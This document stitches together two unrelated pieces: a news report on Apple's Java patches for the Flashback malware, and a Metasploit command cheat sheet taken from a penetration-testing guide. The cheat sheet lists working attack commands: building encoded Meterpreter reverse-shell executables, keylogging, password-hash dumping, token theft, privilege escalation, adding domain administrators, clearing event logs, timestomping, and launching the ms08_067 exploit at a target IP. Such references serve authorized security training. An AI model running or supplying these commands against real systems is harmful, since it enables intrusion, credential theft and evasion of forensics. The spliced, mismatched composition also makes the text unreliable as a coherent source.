Apple finally releases Java patches for Flashback malware

Apple silently released security patches for Java, addressing 12 separate flaws yesterday after their OS X operating system was found to be vulnerable to the Flashback Trojan. In fact security experts were so worried about the potential for damage from the malware that they recommended ditching Java until it had been plugged.

While those using Microsoft’s Windows OS were at the highest level of risk initially, the Mac Security blog Intego found a new Flashback variant in the wild at the beginning of March, created to specifically target Apple OS X users.

The new update is available from the update manager for OS X 10.6 and 10.7 operating systems and is described by Apple as targeting “multiple vulnerabilities [that] exist in Java 1.6.0_29, the most serious of which may allow an untrusted Java applet to execute arbitrary code outside the Java sandbox. Visiting a web page containing a maliciously crafted untrusted Java applet may lead to arbitrary code execution with the privileges of the current user. “

Further investigations by Sucuri Security located a considerable number of infected websites using older releases of WordPress with the "ToolsPack" plugin installed. Analysis of this plugin revealed it was simply a backdoor that allowed hackers to execute any code on the infected website. It is believed these sites are re-directing the browsers of Mac OS X users to webpages containing the new strain of Flashback malware. 

Whilst it is good that Apple has finally patched the vulnerabilities that Windows users saw updates for back in February, it is rumored that one critical flaw remains, which F-Secure says is being actively discussed on underground forums where money is also being exchanged in return for the exploit code. 

"It is strongly recommended to update your Java client to the latest version, disable it when not needed, or better yet, remove it completely if you don’t really need it," the security firm said in a blog post yesterday.

Attacks are rarely as serious in nature on Apple’s OS X platform, but there is no doubt that exploits are increasing as hackers realize the value of targeting their OS. More alarmingly, the Flashback malware has also opened up another potential problem – Apple by all accounts has been very slow to respond to the security fixes that Oracle released for their affected software used on Windows back In February.

Metasploit Commands – CLI Index

I was going through the Metasploit The Penetration Tester’s Guide by David Kennedy,Jim O’Gorman, Devon Kearns and Mati Aharoni . Guys I must say it is worth reading .

This is a reference for the most frequently used commands and syntax within Metasploit’s various interfaces and utilities.

MSFconsole Commands:

Code:

show exploits

Show all exploits within the Framework.

Code:

show payloads

Show all payloads within the Framework.

Code:

show auxiliary

Show all auxiliary modules within the Framework.

Code:

search name

Search for exploits or modules within the Framework.

Code:

info

Load information about a specific exploit or module.

Code:

use name

Load an exploit or module (example: use windows/smb/psexec).

Code:

LHOST

Your local host’s IP address reachable by the target, often the public IP address when not on a local network. Typically used for reverse shells.

Code:

RHOST

The remote host or the target.

Code:

set function

Set a specific value (for example, LHOST or RHOST).

Code:

setg function

Set a specific value globally (for example, LHOST or RHOST).

Code:

show options

Show the options available for a module or exploit.

Code:

show targets

Show the platforms supported by the exploit.

Code:

set target num

Specify a specific target index if you know the OS and service pack.

Code:

set payload payload

Specify the payload to use.

Code:

show advanced

Show advanced options.

Code:

set autorunscript migrate -f

Automatically migrate to a separate process upon exploit completion.

Code:

check

Determine whether a target is vulnerable to an attack.

Code:

exploit

Execute the module or exploit and attack the target.exploit -j
Run the exploit under the context of the job. (This will run the exploit in the background.)

Code:

exploit -z

Do not interact with the session after successful exploitation.

Code:

exploit -e encoder

Specify the payload encoder to use (example: exploit –e shikata_ga_nai).

Code:

exploit -h

Display help for the exploit command.

Code:

sessions -l

List available sessions (used when handling multiple shells).

Code:

sessions -l -v

List all available sessions and show verbose fields, such as which vulnerability was used when exploiting the system.

Code:

sessions -s script

Run a specific Meterpreter script on all Meterpreter live sessions.

Code:

sessions -K

Kill all live sessions.

Code:

sessions -c cmd

Execute a command on all live Meterpreter sessions.

Code:

sessions -u sessionID

Upgrade a normal Win32 shell to a Meterpreter console.

Code:

db_create name

Create a database to use with database-driven attacks (example: db_create autopwn).

Code:

db_connect name

Create and connect to a database for driven attacks (example: db_connect autopwn).

Code:

db_nmap

Use nmap and place results in database. (Normal nmap syntax is supported, such as –sT –v –P0.)

Code:

db_autopwn -h

Display help for using db_autopwn.

Code:

db_autopwn -p -r -e

Run db_autopwn against all ports found, use a reverse shell, and exploit all systems.

Code:

db_destroy

Delete the current database.

Code:

db_destroy user:password@host:port/database

Delete database using advanced options.

Meterpreter Commands help:
Open Meterpreter usage help.

Code:

run scriptname

Run Meterpreter-based scripts; for a full list check the scripts/meterpreter directory.

Code:

sysinfo

Show the system information on the compromised target.

Code:

ls

List the files and folders on the target.

Code:

use priv

Load the privilege extension for extended Meterpreter libraries.

Code:

ps

Show all running processes and which accounts are associated with each process.

Code:

migrate PID

Migrate to the specific process ID (PID is the target process ID gained from the ps command).

Code:

use incognito

Load incognito functions. (Used for token stealing and impersonation on a target machine.)

Code:

list_tokens -u

List available tokens on the target by user.

Code:

list_tokens -g

List available tokens on the target by group.

Code:

impersonate_token DOMAIN_NAME\\USERNAME

Impersonate a token available on the target.

Code:

steal_token PID

Steal the tokens available for a given process and impersonate that token.drop_token Stop impersonating the current token.

Code:

getsystem

Attempt to elevate permissions to SYSTEM-level access through multiple attack vectors.

Code:

shell

Drop into an interactive shell with all available tokens.

Code:

execute -f cmd.exe -i

Execute cmd.exe and interact with it.

Code:

execute -f cmd.exe -i -t

Execute cmd.exe with all available tokens.

Code:

execute -f cmd.exe -i -H -t

Execute cmd.exe with all available tokens and make it a hidden process.

Code:

rev2self

Revert back to the original user you used to compromise the target.

Code:

reg command

Interact, create, delete, query, set, and much more in the target’s registry.

Code:

setdesktop number

Switch to a different screen based on who is logged in.

Code:

screenshot

Take a screenshot of the target’s screen.

Code:

upload file

Upload a file to the target.

Code:

download file

Download a file from the target.

Code:

keyscan_start

Start sniffing keystrokes on the remote target.

Code:

keyscan_dump

Dump the remote keys captured on the target.

Code:

keyscan_stop

Stop sniffing keystrokes on the remote target.

Code:

getprivs

Get as many privileges as possible on the target.

Code:

uictl enable keyboard/mouse

Take control of the keyboard and/or mouse.

Code:

background

Run your current Meterpreter shell in the background.

Code:

hashdump

Dump all hashes on the target.

Code:

use sniffer

Load the sniffer module.

Code:

sniffer_interfaces

List the available interfaces on the target.

Code:

sniffer_dump interfaceID pcapname

Start sniffing on the remote target.

Code:

sniffer_start interfaceID packet-buffer

Start sniffing with a specific range for a packet buffer.

Code:

sniffer_stats interfaceID

Grab statistical information from the interface you are sniffing.

Code:

sniffer_stop interfaceID

Stop the sniffer.

Code:

add_user username password -h ip

Add a user on the remote target.

Code:

add_group_user "Domain Admins" username -h ip

Add a username to the Domain Administrators group on the remote target.

Code:

clearev

Clear the event log on the target machine.

Code:

timestomp

Change file attributes, such as creation date (antiforensics measure).

Code:

reboot

Reboot the target machine.

MSFpayload Commands:

Code:

msfpayload -h

List available payloads.

Code:

msfpayload windows/meterpreter/bind_tcp O

List available options for the windows/meterpreter/bind_tcp payload (all of these can use any payload).

Code:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X > payload.exe

Create a Meterpreter reverse_tcp payload to connect back to 192.168.1.5 and on port 443, and then save it as a Windows Portable Executable named payload.exe.

Code:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R > payload.raw

Same as above, but export as raw format. This will be used later in msfencode

Code:

msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c

Same as above but export as C-formatted shellcode.

Code:

msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java

Export as %u encoded JavaScript.

MSFencode Commands:

Code:

msfencode -h

Display the msfencode help.

Code:

msfencode -l

List the available encoders.

Code:

msfencode -t (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho)

Format to display the encoded buffer.

Code:

msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe

Encode payload.raw with shikata_ga_nai five times and export it to an output file named encoded_payload.exe.

Code:

msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/ _countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded_payload.exe

Create a multi-encoded payload.

Code:

msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c

Create pure alphanumeric shellcode where ESI points to the shellcode; output in C-style notation.

MSFcli Commands:

Code:

msfcli | grep exploit

Show only exploits.

Code:

msfcli | grep exploit/windows

Show only Windows exploits.

Code:

 msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.142 E

Launch ms08_067_netapi exploit at 172.16.32.142 with a bind_tcp payload being delivered to listen on port 443.